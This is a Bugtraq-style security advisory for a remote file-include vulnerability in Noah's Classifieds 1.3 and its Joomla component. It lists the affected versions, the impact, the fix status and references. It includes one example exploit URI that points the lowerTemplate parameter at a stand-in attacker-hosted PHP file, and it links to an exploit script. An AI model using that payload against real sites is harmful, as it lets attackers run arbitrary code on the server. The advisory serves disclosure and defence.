Noah's Classifieds Index.PHP Remote File Include Vulnerability

Bugtraq ID:	16780
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 22 2006 12:00AM
Updated:	Mar 05 2006 10:31PM
Credit:	trueend5 is credited with the discovery of this issue.
Vulnerable:	PhpOutsourcing Noah's Classifieds 1.3 Joomla Noah Classifieds 1.0.Beta2 Joomla Noah Classifieds 1.0.Beta1
Not Vulnerable:	Joomla Noah Classifieds 1.0.beta3

Noah's Classifieds Index.PHP Remote File Include Vulnerability

Noah's Classifieds is prone to a remote file-include vulnerability.

An attacker can exploit this issue to execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 1.3.0 is vulnerable; other versions may also be affected.

Noah's Classifieds Index.PHP Remote File Include Vulnerability

This vulnerability may be exploited with a Web client.

An example URI has been provided:

http://www.example.com/classifieds/index.php?lowerTemplate=http://www.example.com/evilfile.php

A sample exploit application by trueend5 is available:

• http://www.securityfocus.com/vulnerabilities/exploits/noah_1.3_rce.php

Noah's Classifieds Index.PHP Remote File Include Vulnerability

Solution:

Joomla has released some updates to address this for the Joomla Noah component. See the reference section for further information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

Noah's Classifieds Index.PHP Remote File Include Vulnerability

References:

• Noah's Classifieds Web Site (Noah's Classifieds)
  
• [KAPDA::#29]Noah's classifieds multiple vulnerabilities (alireza hassani )